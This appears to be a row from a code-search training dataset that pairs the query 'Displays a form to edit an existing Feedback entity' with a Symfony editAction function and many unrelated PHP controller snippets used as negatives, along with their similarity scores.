$this->get('swiftmailer.mailer.site_mailer')->send($message);\n }\n }\n\n return $this->render('CoreMarketingBundle:Message:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n 'form' => $form->createView(),\n ));\n }",
"public function getFeedback()\n {\n return $this->_feedback;\n }",
"public function edit(RemedialFeedback $remedialFeedback)\n {\n //\n }",
"public function indexAction(Request $request)\n {\n $em = $this->getDoctrine()->getManager();\n\n $dql = \"SELECT e FROM BackendBundle:Feedback e ORDER BY e.id ASC\";\n $query = $em->createQuery($dql);\n\n $paginator = $this->get('knp_paginator');\n $pagination = $paginator->paginate(\n $query, $request->query->get('page', 1), $this->getParameter('cruds.pagination.items')\n );\n\n return $this->render('feedback/index.html.twig', array(\n 'entities' => $pagination,\n ));\n }",
"public function show(Attendence $attendence)\n {\n //\n }",
"public function display() {\n\t\t$this->loadModel('Questions');\n\t\t$best = $this->Questions->find()\n\t\t\t->order('upvotes DESC')\n\t\t\t->first();\n\t\t$this->set('bestQuestion', $best);\n\t}",
"public function show( $id ) {\n $this->template->contactInfo = Found::getContactInfo( $id );\n $this->template->foundItem = Found::showById( $id );\n\n if ( isset( $_SESSION['user']['email'] ) && $this->template->foundItem['isSolved'] ==0 ) {\n $this->template->myLostItem = User::showMyUnSolvedLostItems( $_SESSION['user']['email'] );\n }\n\n $this->template->display( 'show.html.php' );\n }",
"function feedback_form()\r\n{\r\n\tglobal $dropbox_cnf;\r\n\r\n\t$return = get_lang('AddNewFeedback').'<br />';\r\n\r\n\t// we now check if the other users have not delete this document yet. If this is the case then it is useless to see the\r\n\t// add feedback since the other users will never get to see the feedback.\r\n\t$sql=\"SELECT * FROM \".$dropbox_cnf[\"tbl_person\"].\" WHERE file_id='\".Database::escape_string($_GET['id']).\"'\";\r\n\t$result=api_sql_query($sql,__LINE__, __FILE__);\r\n\t$number_users_who_see_file=mysql_num_rows($result);\r\n\tif ($number_users_who_see_file>1)\r\n\t{\r\n\t\t$return .= '<textarea name=\"feedback\" style=\"width: 80%; height: 80px;\"></textarea><br /><input type=\"button\" name=\"store_feedback\" value=\"'.get_lang('Ok').'\" \r\n\t\t\tonclick=\"document.form_tablename.attributes.action.value = document.location;document.form_tablename.submit();\"/>';\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$return .= get_lang('AllUsersHaveDeletedTheFileAndWillNotSeeFeedback');\r\n\t}\r\n\treturn $return;\r\n}",
"function show_bid_feedback_entry_form()\n{\n\n if ((! user_has_priv (PRIV_BID_COM)) &&\n (! user_has_priv (PRIV_BID_CHAIR)) &&\n (! user_has_priv (PRIV_GM_LIAISON)))\n return display_access_error ();\n\n if (! array_key_exists ('UserId', $_REQUEST))\n return display_error ('Failed to find UserId in $_REQUEST array');\n\n $UserId = intval($_REQUEST['UserId']);\n if ($UserId < 1)\n return display_error (\"Invalid value for $$UserId: $UserId\");\n\n $sql = \"SELECT FirstName, LastName FROM Users WHERE UserId=$UserId\";\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error ('Query for User Name failed', $sql);\n\n $row = mysql_fetch_object($result);\n if (! $row)\n return display_error (\"Failed to find user for $$UserId: $UserId\");\n\n $name = trim (\"$row->FirstName $row->LastName\");\n\n $BidStatusId = 0;\n $FeedbackId = 0;\n\n if (array_key_exists ('FeedbackId', $_REQUEST))\n $FeedbackId = intval ($_REQUEST['FeedbackId']);\n\n $Vote = 'Undecided';\n $Title = 'Unknown';\n $Issues = '';\n\n if (0 != $FeedbackId)\n {\n $sql = 'SELECT BidFeedback.Vote, BidFeedback.Issues,';\n $sql .= ' BidFeedback.BidStatusId, Bids.Title';\n $sql .= ' FROM Bids, BidStatus, BidFeedback';\n $sql .= \" WHERE BidFeedback.FeedbackId=$FeedbackId\";\n $sql .= ' AND BidStatus.BidStatusId=BidFeedback.BidStatusId';\n $sql .= ' AND Bids.BidId=BidStatus.BidId';\n\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error('Query failed for bid info', $sql);\n\n if (0 == mysql_num_rows($result))\n return display_error(\"Failed to find bid info for FeedbackId: $FeedbackId\");\n\n $row = mysql_fetch_object($result);\n $Vote = $row->Vote;\n $Issues = $row->Issues;\n $Title = $row->Title;\n $BidStatusId = $row->BidStatusId;\n }\n else\n {\n // If we don't have a FeedbackId, we'd better have a BidStatusId\n\n if (! array_key_exists ('BidStatusId', $_REQUEST))\n return display_error ('Failed to find BidStatusIdId in $_REQUEST array');\n\n $BidStatusId = intval($_REQUEST['BidStatusId']);\n if (0 == $BidStatusId)\n return display_error (\"Invalid BidStatusId: $BidStatusId\");\n\n $sql = 'SELECT Bids.Title';\n $sql .= ' FROM Bids, BidStatus';\n $sql .= \" WHERE BidStatus.BidStatusId=$BidStatusId\";\n $sql .= ' AND Bids.BidId=BidStatus.BidId';\n\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error('Query failed for bid info', $sql);\n\n if (0 == mysql_num_rows($result))\n return display_error(\"Failed to find bid info for FeedbackId: $FeedbackId\");\n\n $row = mysql_fetch_object($result);\n $Title = $row->Title;\n }\n\n // If this is the first time in, fill in the $_POST array\n\n if (! array_key_exists ('Vote', $_POST))\n {\n $_POST['Vote'] = $Vote;\n $_POST['Issues'] = $Issues;\n }\n\n display_header (\"Bid Committee Feedback for $name on <i>$Title</i>\");\n\n echo \"<form method=\\\"POST\\\" action=\\\"Bids.php\\\">\\n\";\n form_add_sequence ();\n form_hidden_value ('action', BID_FEEDBACK_PROCESS_ENTRY);\n form_hidden_value ('FeedbackId', $FeedbackId);\n form_hidden_value ('BidStatusId', $BidStatusId);\n form_hidden_value ('UserId', $UserId);\n\n echo \"<table>\\n\";\n echo \" <tr>\\n\";\n echo \" <th valign=\\\"top\\\" align=\\\"right\\\">Vote: </th>\\n\";\n form_vote('Vote');\n echo \" </tr>\\n\";\n echo \" <tr>\\n\";\n echo \" <th valign=\\\"top\\\" align=\\\"right\\\">Issues: </th>\\n\";\n form_issues('Issues');\n echo \" </tr>\\n\";\n form_submit ('Update Feedback');\n echo \"</table>\\n\";\n}",
"public function showAction() {\n $news = $this->newsRepository->findByUid($GLOBALS['TSFE']->id);\n $this->view->assign('news', $news)\n ->assign('settings', $this->settings);\n }",
"function questionAction() {\n // Get question parameter\n $id = $this->_getParam('id');\n if (! $id) {\n // Redirect back to stats when no ID is found\n $this->_redirect(\"/index/stats\");\n return;\n }\n\n // Fetch question\n $mapper = new Model_Question_Mapper();\n $question = $mapper->findByPk($id);\n if (! $question instanceof Model_Question_Entity) {\n $this->render(\"question/notfound\");\n return;\n }\n \n $this->view->question = $question;\n\n switch ($question->getStatus()) {\n case \"moderation\" :\n $this->render(\"question/moderation\");\n break;\n case \"pending\" :\n $this->render(\"question/pending\");\n break;\n case \"active\" :\n $this->render(\"question/active\");\n break;\n case \"done\" :\n $this->render(\"question/done\");\n break;\n default :\n $this->render(\"question/notfound\");\n break;\n }\n }",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('GestionPassBundle:Fluidite')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fluidite entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('GestionPassBundle:Fluidite:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }",
"public function show(SendTestMail $sendTestMail)\n {\n //\n }",
"public static function getInstanceById($id)\n {\n if (isset(self::$feedbackBuffer[$id]))\n return self::$feedbackBuffer[$id];\n\n $feedback = self::findOne($id);\n\n if ($feedback) {\n self::$feedbackBuffer[$feedback->id] = $feedback;\n return $feedback;\n }\n\n Yii::error(\"Сan not find feedback with id \" . $id, __METHOD__);\n\n if (defined('YICMS_STRICT')) {\n throw new FeedbackException(\"Сan not find feedback with id \" . $id);\n }\n\n $nonexistentFeedback = new self();\n $nonexistentFeedback->setNonexistent();\n\n return $nonexistentFeedback;\n }",
"public function actionFeedback($id = 0, $action = 'add', $feedback = 0)\n {\n $theTour = Product::find()\n ->select(['id', 'op_code', 'op_name', 'day_from'])\n ->where(['id'=>$id, 'op_status'=>'op'])\n ->asArray()\n ->one();\n\n if (!$theTour) {\n throw new HttpException(404, 'Tour not found.');\n }\n\n $theTourOld = Tour::find()\n ->where(['ct_id'=>$id, 'status'=>'on'])\n ->asArray()\n ->one();\n\n if (!$theTourOld) {\n throw new HttpException(404, 'Tour not found.');\n }\n\n if ($action == 'remove' && $feedback != 0) {\n Yii::$app->db->createCommand()->delete('at_tour_feedbacks', ['id'=>$feedback, 'created_by'=>USER_ID])->execute();\n return $this->redirect(DIR.URI);\n }\n\n $theFeedback = new \\common\\models\\TourFeedback;\n if ($theFeedback->load(Yii::$app->request->post()) && $theFeedback->validate()) {\n $theFeedback->tour_id = $theTour['id'];\n $theFeedback->created_by = USER_ID;\n $theFeedback->created_dt = NOW;\n $theFeedback->save();\n return $this->redirect(DIR.URI);\n }\n\n $theFeedbacks = \\common\\models\\TourFeedback::find()\n ->where(['tour_id'=>$theTour['id']])\n ->with([\n 'createdBy'=>function($q) {\n return $q->select(['id', 'name']);\n }\n ])\n ->orderBy('id DESC')\n ->asArray()\n ->all();\n\n return $this->render('tours_feedback', [\n 'theFeedback'=>$theFeedback,\n 'theFeedbacks'=>$theFeedbacks,\n 'theTour'=>$theTour,\n 'theTourOld'=>$theTourOld,\n ]);\n }",
"public function edit(Feedback $feedback):View\n {\n return view('feedback.edit', compact('feedback'));\n }",
"protected function feedback()\n\t{\n\t\tif ($this->store['feedback_percent'] == 0) {\n\t\t\treturn;\n\t\t}\n\t\t$feedback = $this->store['feedback'] * $this->config->data()['feedback'];\n\t\t$feedbackPercent = ($this->store['feedback_percent'] / $this->config->data()['feedbackPercent']);\n\t\t$score = round($feedback / $feedbackPercent);\n\t\t$this->score += $score;\n\t}",
"public function view(stdClass $grade) {\n $feedbackentry = $this->get_feedback_entry($grade->id);\n if ($feedbackentry) {\n global $PAGE;\n\n $type = HML_LAUNCH_VIEW_FEEDBACK;\n $thumbtype = HML_LAUNCH_VIEW_FEEDBACK_THUMBNAILS;\n\n $param = \"e_feed=\" . $feedbackentry->preid . \"&userid=\" . $grade->userid;\n return helixmedia_get_modal_dialog($feedbackentry->preid,\n \"type=\" . $thumbtype . \"&\".$param,\n \"type=\" . $type . \"&\".$param, \"margin-left:auto;margin-right:auto;\",\n \"moodle-lti-viewfeed-btn.png\", \"\", \"\", -1, \"false\");\n }\n return '';\n }",
"public function getEntityId()\n {\n return $this->feedbackId;\n }",
"public function index()\n {\n $page_count = Settings::getValue('admin_pagination');\n $feedbacks = Feedback::orderBy('time','DESC')->paginate($page_count);\n return view('backend.feedback.index',compact('feedbacks'));\n }",
"function display($tpl = null)\r\n\t{\r\n\t\tglobal $mainframe;\r\n\t\t\n\t\t$doc = JFactory::getDocument();\r\n\t\t$layout = $this->getLayout();\r\n\t\t\r\n\t\t// Get data from the model\r\n\t\t$model = &$this->getModel();\r\n\t\t$items = $model->getData(null, true, true);\r\n\t\t$params = $mainframe->getParams();\r\n\t\t\n\t\t$doc->setTitle(JText::_('JRESEARCH_TEAMS'));\t\t\r\n\t\t\r\n\t\t$this->assignRef('params', $params);\r\n\t\t$this->assignRef('items', $items, JResearchFilter::ARRAY_OBJECT_XHTML_SAFE, array('exclude_keys' => array('description')));\r\n\t\t$this->assignRef('page', $model->getPagination());\t\n\r\n\t\t$eArguments = array('teams', $layout);\r\n\t\t\r\n\t\t$mainframe->triggerEvent('onBeforeListFrontendJResearchEntities', $eArguments);\r\n\t\t\r\n\t\tparent::display($tpl);\r\n\t\t\r\n\t\t$mainframe->triggerEvent('onAfterListFrontendJResearchEntities', $eArguments);\r\n\t}",
"public function showAction()\n {\n $this->view->title = ' - Thema';\n \n $id = (int)$this->getRequest()->getParam('id'); \t\t//topicID from the URL\n \n $topics = new topicModel();\t\t\t\t\t//loads table 'topics'\n $comments = new commentModel();\t\t\t\t\t//loads table 'comment'\n \n if($topics->fetchRow('topicID='.$id) == 0)\t\t\t//avoids access to a topic whitch doesn't exist\n {\n $this->_redirect('/');\t\t\t\t\t//goes to mainpage\n }\n else\n {\n $this->view->topics = $topics->fetchRow('topicID='.$id);\t//sends one topic with topicID = $id\n $this->view->comments = $comments->fetchAll(\n\t $comments->select()\t\t\t\t\t//sends comments\n ->where('topicID='.$id)\t\t\t//with topicID = $id\n ->order('commentDate DESC')\t\t\t//sorted in descending order by date\n ->limit(2, 0)\t\t\t\t\t//limited to two comments\n );\n }\n }",
"public function feedback_notice() {\n\t\tif ( ! $this->is_feedback_notice_active() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$username = get_user_meta( get_current_user_id(), 'first_name', true );\n\t\t?>\n\t\t<div id=\"wpba-notice-feedback\" class=\"notice notice-info is-dismissible\">\n\t\t\t<p>\n\t\t\t\t<?php printf( __( \"Hey%s! We're just a small plugin, and we need your help! You've been using the <em>Advanced Bulk Actions</em> plugin for some time now, and we were wondering whether you had any suggestions for bulk actions to add. We'd really appreciate it if you could send us you're feedback!\", 'wpba' ), ( $username ? ( ' ' . $username ) : '' ) ); ?>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<a href=\"https://wordpress.org/support/plugin/bulk-actions#new-post\" title=\"<?php esc_attr_e( 'Send us your feedback!', 'wpba' ); ?>\" class=\"button button-secondary\" target=\"_blank\"><?php _e( 'Send us your feedback!', 'wpba' ); ?></a> <?php _e( '(opens in a new tab)', 'wpba' ); ?> <?php printf( __( 'or %s.', 'wpba' ), '<a href=\"#\" class=\"hide\">' . __( 'hide this message forever', 'wpba' ) . '</a>' ); ?>\n\t\t\t</p>\n\t\t</div>\n\t\t<?php\n\t}",
"public function index()\n {\n $feeds = Feedback::all();\n $count = DB::table('feedback')->count();\n\n return view('feedback.index', compact('feeds', 'count'));\n }",
"public function show(SpecSuggestions $specSuggestions)\n {\n //\n }",
"public function show(Question $question)\n {\n\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"public function show(Contact $contact)\n {\n //\n }",
"protected function detail($id)\n {\n $show = new Show(Feedback::findOrFail($id));\n\n\n\n return $show;\n }",
"public function show(Contact $contact) {\n //\n }",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('QuizmooQuestionnaireBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('QuizmooQuestionnaireBundle:Question:show.'.$this->get('session')->get('whichTwig','').'html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }",
"public function show(Question_Test $question_Test)\n {\n //\n }",
"public function show($id)\n {\n /* $feedbacks = DB::table('answers')\n ->where('mobile_number','=', $id)\n ->orderBy('id', 'desc')\n ->groupBy('answer_id')\n ->get(); */\n \n $feedbacks = Answer::where('mobile_number','=', $id)->groupBy('answer_id')->groupBy('answer_id')->paginate($this->perPage); \n //dd($feedbacks);\n\n return view('Feedback.show',compact('feedbacks'));\n }",
"public function setFeedback($feedback)\n {\n $this->feedback = $feedback;\n }",
"public function my()\n {\n /** @var User $user */\n $user = auth()->user();\n\n return view('feedback.my', compact('user'));\n }",
"function showContext()\n {\n if ($this->notice->hasConversation()) {\n $conv = Conversation::staticGet(\n 'id',\n $this->notice->conversation\n );\n $convurl = $conv->uri;\n if (!empty($convurl)) {\n $this->out->text(' ');\n $this->out->element(\n 'a',\n array(\n 'href' => $convurl.'#notice-'.$this->notice->id,\n 'class' => 'response'),\n // TRANS: Addition in notice list item if notice is part of a conversation.\n _('in context')\n );\n } else {\n $msg = sprintf(\n \"Couldn't find Conversation ID %d to make 'in context'\"\n . \"link for Notice ID %d\",\n $this->notice->conversation,\n $this->notice->id\n );\n common_log(LOG_WARNING, $msg);\n }\n }\n }"
] | [
"0.69938433",
"0.69938433",
"0.6828863",
"0.6747869",
"0.64654696",
"0.59982246",
"0.59982246",
"0.59915787",
"0.59882104",
"0.5939006",
"0.59340733",
"0.5927253",
"0.5807045",
"0.5782268",
"0.57465285",
"0.573216",
"0.5713723",
"0.5701925",
"0.56952524",
"0.56935614",
"0.5676945",
"0.56741273",
"0.5669408",
"0.5619283",
"0.5610653",
"0.5610653",
"0.5598499",
"0.55855936",
"0.55792505",
"0.55767685",
"0.55479634",
"0.5532676",
"0.55321467",
"0.5530434",
"0.5504073",
"0.54889303",
"0.54497075",
"0.54394317",
"0.5410766",
"0.5399042",
"0.5394467",
"0.5393604",
"0.53765476",
"0.53665864",
"0.5336049",
"0.53343815",
"0.532692",
"0.5322206",
"0.53154695",
"0.53129435",
"0.53039837",
"0.5300512",
"0.5295563",
"0.5292837",
"0.5271719",
"0.52487504",
"0.52476645",
"0.5240206",
"0.5237378",
"0.5235814",
"0.5228318",
"0.52096",
"0.5170929",
"0.51665515",
"0.5165398",
"0.515817",
"0.51421255",
"0.513245",
"0.5131103",
"0.51265895",
"0.51221895",
"0.51118827",
"0.51094824",
"0.5103079",
"0.5103043",
"0.5097436",
"0.5094297",
"0.5087873",
"0.5082531",
"0.5081405",
"0.5068685",
"0.50628126",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.5058924",
"0.50541645",
"0.5053338",
"0.50484425",
"0.50434667",
"0.5040314",
"0.5037131",
"0.5029793",
"0.50270265"
] | 0.7345613 | 0 |
Displays a form to edit an existing Feedback entity. | public function editAction(Request $request, Feedback $entity)
{
$deleteForm = $this->createDeleteForm($entity);
$editForm = $this->createEditForm($entity);
$editForm->handleRequest($request);
if ($editForm->isSubmitted() && $editForm->isValid()) {
$em = $this->getDoctrine()->getManager();
$em->persist($entity);
$em->flush();
// Mostrando mensaje
$this->get('session')->getFlashBag()->add('success', 'The feedback was updated successfully.');
return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));
}
return $this->render('feedback/edit.html.twig', array(
'entity' => $entity,
'edit_form' => $editForm->createView(),
'delete_form' => $deleteForm->createView(),
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function edit(Feedback $feedback)\n {\n //\n }",
"public function edit(Feedback $feedback)\n {\n //\n }",
"public function editAction()\n {\n $ifeedbackId = $this->getRequest()->getParam('id');\n $ifeedback = $this->_initIfeedback();\n if ($ifeedbackId && !$ifeedback->getId()) {\n $this->_getSession()->addError(\n Mage::helper('bs_kst')->__('This instructor feedback no longer exists.')\n );\n $this->_redirect('*/*/');\n return;\n }\n $data = Mage::getSingleton('adminhtml/session')->getIfeedbackData(true);\n if (!empty($data)) {\n $ifeedback->setData($data);\n }\n Mage::register('ifeedback_data', $ifeedback);\n $this->loadLayout();\n $this->_title(Mage::helper('bs_kst')->__('KST'))\n ->_title(Mage::helper('bs_kst')->__('Instructor Feedbacks'));\n if ($ifeedback->getId()) {\n $this->_title($ifeedback->getName());\n } else {\n $this->_title(Mage::helper('bs_kst')->__('Add instructor feedback'));\n }\n if (Mage::getSingleton('cms/wysiwyg_config')->isEnabled()) {\n $this->getLayout()->getBlock('head')->setCanLoadTinyMce(true);\n }\n $this->renderLayout();\n }",
"public function edit(Feedback $feedback)\n {\n //\n return view('admin.feedback.edit', compact('feedback'));\n }",
"public function edit(feedback $feedback)\n {\n //\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"public function edit(Feedback $feedback):View\n {\n return view('feedback.edit', compact('feedback'));\n }",
"public function edit(RemedialFeedback $remedialFeedback)\n {\n //\n }",
"public function edit($id)\n\t{\n\t\t$feedback = $this->feedback->find($id);\n\n\t\tif (is_null($feedback))\n\t\t{\n\t\t\treturn Redirect::route('feedbacks.index');\n\t\t}\n\n\t\treturn View::make('feedbacks.edit', compact('feedback'));\n\t}",
"public function showAction(Feedback $entity)\n {\n $deleteForm = $this->createDeleteForm($entity);\n\n return $this->render('feedback/show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"private function createEditForm(Feedback $entity)\n {\n $form = $this->createForm('BackendBundle\\Form\\FeedbackType', $entity, array(\n 'action' => $this->generateUrl('feedback_edit', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Update'));\n\n return $form;\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"public function editAction() {\r\n\t\t$id = $this->getInput('id');\r\n\t\t$info = Gou_Service_Notice::getNotice(intval($id));\r\n\t\t$this->assign('info', $info);\r\n\t\t$this->assign('channels', $this->channels);\r\n\t}",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"public function editForm(): void\n {\n $this->articleId = $_GET['id'];\n $query = $this->articleModel->displayOneArticle($this->articleId);\n $editArticle = $query->fetch();\n\n $this->title = $editArticle['title'];\n $this->content = $editArticle['content'];\n $this->category = $editArticle['category'];\n }",
"public function editAction() {\r\n\t\t$id = $this->getInput('id');\r\n\t\t$info = Gou_Service_Ad::getAd(intval($id));\r\n\t\t$this->assign('ad_types', $this->ad_types[$info['channel_id']]);\r\n\t\t\r\n\t\tlist($info['module_id'], $info['cid']) = explode('_', $info['module_channel']);\r\n\t\t$this->assign('info', $info);\r\n\t\t\r\n\t\tif($info['channel_id'] == 2 || $info['channel_id'] == 6) {\r\n\t\t list(, $ptypes) = Type_Service_Ptype::getsBy(array('status'=>1,'pid'=>0), array('sort'=>'DESC', 'id'=>'DESC'));\r\n\t\t $this->assign('ptype', $ptypes);\r\n\t\t}\r\n\t\t\r\n\t if($info['channel_id'] == 2) {\r\n\t\t $this->assign('actions', $this->client_actions);\r\n\t\t}\r\n\r\n $this->assign('channel_id', $info['channel_id']);\r\n $this->assign('ad_type', $info['ad_type']);\r\n\r\n\t\t//module channel\r\n\t\tlist($modules, $channel_names) = Gou_Service_ChannelModule::getsModuleChannel();\r\n\t\t$this->assign('modules', $modules);\r\n\t\t$this->assign('channel_names', $channel_names);\r\n\t}",
"public function editAction()\r\n\t{\r\n\t\t$id = $this->getRequest()->getParam('faq_id');\r\n\t\t$model = Mage::getModel('flagbit_faq/faq');\r\n\t\t\r\n\t\t// if current id given -> try to load and edit current FAQ item\r\n\t\tif ($id) {\r\n\t\t\t$model->load($id);\r\n\t\t\tif (!$model->getId()) {\r\n\t\t\t\tMage::getSingleton('adminhtml/session')->addError(\r\n\t\t\t\t\tMage::helper('flagbit_faq')->__('This FAQ item no longer exists')\r\n\t\t\t\t);\r\n\t\t\t\t$this->_redirect('*/*/');\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$data = Mage::getSingleton('adminhtml/session')->getFormData(true);\r\n\t\tif (!empty($data)) {\r\n\t\t\t$model->setData($data);\r\n\t\t}\r\n\t\t\r\n\t\tMage::register('faq', $model);\r\n\t\t\r\n\t\t$this->_initAction()\r\n\t\t\t\t->_addBreadcrumb(\r\n\t\t\t\t\t$id\r\n\t\t\t\t\t\t? Mage::helper('flagbit_faq')->__('Edit FAQ Item')\r\n\t\t\t\t\t\t: Mage::helper('flagbit_faq')->__('New FAQ Item'),\r\n\t\t\t\t\t$id\r\n\t\t\t\t\t\t? Mage::helper('flagbit_faq')->__('Edit FAQ Item')\r\n\t\t\t\t\t\t: Mage::helper('flagbit_faq')->__('New FAQ Item')\r\n\t\t\t\t)\r\n\t\t\t\t->_addContent(\r\n\t\t\t\t\t\t$this->getLayout()\r\n\t\t\t\t\t\t\t\t->createBlock('flagbit_faq/adminhtml_item_edit')\r\n\t\t\t\t\t\t\t\t->setData('action', $this->getUrl('adminhtml/faq/save'))\r\n\t\t\t\t)\r\n\t\t\t\t->_addLeft($this->getLayout()->createBlock('flagbit_faq/adminhtml_item_edit_tabs'));\r\n\t\t\r\n\t\t$this->renderLayout();\r\n\t}",
"public function editAction() {\n $id = $this->getInput('id');\n $info = Client_Service_Ad::getAd(intval($id));\n \n $this->assign('ad_type', self::AD_TYPE);\n $this->assign('ad_ptypes', $this->ad_ptypes);\n $this->assign('info', $info);\n }",
"public function display_edit_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=update' method='post'>\";\n echo \"<input type='hidden' name='id' value=\".$this->id.\" />\";\n echo \"Name: <input type='text' name='name' value=\".$this->name.\" /><br />\";\n echo \"Description: <textarea name='description'>\".$this->description.\"</textarea><br />\";\n echo \"<input type='submit' value='Update' />\";\n echo \"</form>\";\n }",
"public function edit($id)\n {\n $contact=EnterComForum::find($id);\n return view('admin.pages.formEnterpreuner.edit')->withContact($contact);\n }",
"public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }",
"public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Gc_Service_OrderShow::getOrderShow(intval($id));\n\t\n\t\t//状态\n\t\t$this->assign('ordershow_status', $this->ordershow_status);\n\t\t\n\t\t//渠道\n\t\tlist(,$ordershow_channel) = Gc_Service_OrderChannel::getAllOrderChannel();\n\t\t$ordershow_channel = Common::resetKey($ordershow_channel, 'id');\n\t\t$this->assign('ordershow_channel', $ordershow_channel);\n\t\t\t\t\n\t\t$this->assign('info', $info);\n\t}",
"public function editAction() {\n $id = $this->getRequest()->getParam('id');\n $model = Mage::getModel('connector/notice')->load($id);\n\n if ($model->getId() || $id == 0) {\n $data = Mage::getSingleton('adminhtml/session')->getFormData(true);\n if (!empty($data))\n $model->setData($data);\n\n Mage::register('siminotification_data', $model);\n\n $this->loadLayout();\n $this->_setActiveMenu('connector/notice');\n\n $this->_addBreadcrumb(Mage::helper('adminhtml')->__('Notification Manager'), Mage::helper('adminhtml')->__('Notification Manager'));\n $this->_addBreadcrumb(Mage::helper('adminhtml')->__('Notification News'), Mage::helper('adminhtml')->__('Notification News'));\n\n $this->getLayout()->getBlock('head')->setCanLoadExtJs(true);\n $this->_addContent($this->getLayout()->createBlock('siminotification/adminhtml_siminotification_edit'))\n ->_addLeft($this->getLayout()->createBlock('siminotification/adminhtml_siminotification_edit_tabs'));\n\n $this->renderLayout();\n } else {\n Mage::getSingleton('adminhtml/session')->addError(Mage::helper('siminotification')->__('Notification does not exist'));\n $this->_redirect('*/*/');\n }\n }",
"public function edit()\r\n\t{\r\n\t\t$model = $this->getProfileView();\r\n\t\t$data = array('model'=> $model);\r\n\t\t\r\n\t\treturn $this->render($data);\r\n\r\n\t}",
"public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }",
"public function editAction()\r\n {\r\n \r\n $id= $this->container->get('security.context')->getToken()->getUser()->getId();\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = $em->getRepository('UtilisateurBundle:Utilisateur')->find($id);\r\n \r\n if (!$entity) {\r\n throw $this->createNotFoundException('Unable to find Utilisateur entity.');\r\n }\r\n\r\n $editForm = $this->createEditForm($entity);\r\n $deleteForm = $this->createDeleteForm($id);\r\n\r\n return $this->render('UtilisateurBundle:Default:info.html.twig', array(\r\n 'entity' => $entity,\r\n 'edit_form' => $editForm->createView(),\r\n 'delete_form' => $deleteForm->createView(),\r\n ));\r\n }",
"public function editAction()\n {\n $isPosted = $this->request->getPost('doEdit');\n if (!$isPosted) {\n $this->response->redirect($this->request->getPost('redirect'));\n }\n $comment = $this->getCommentSessionValuesFromForm();\n $comments = new \\Anax\\Comment\\CommentsInSession();\n $comments->setDI($this->di);\n $comments->edit($comment);\n $this->response->redirect($this->request->getPost('redirect'));\n }",
"public function editAction() {\n if ($this->getRequest()->isPost()) {\n // Save changes\n $this->_savePanel();\n } else {\n $panelsModel = new Datasource_Cms_Panels();\n $id = $this->getRequest()->getParam('id');\n $panel = $panelsModel->getByID($id);\n\n $passThrough = $this->_helper->getHelper('FlashMessenger')->getMessages();\n if (count($passThrough)>0) {\n if (isset($passThrough[0]['saved'])) {\n if ($passThrough[0]['saved'] == true) $this->view->saved=true;\n }\n if (isset($passThrough[0]['errorMessage'])) {\n $this->view->errorMessage = $passThrough[0]['errorMessage'];\n }\n }\n\n $this->view->key = $panel['key'];\n $this->view->description = $panel['description'];\n $this->view->content = $panel['content'];\n $this->view->id = $panel['id'];\n }\n }",
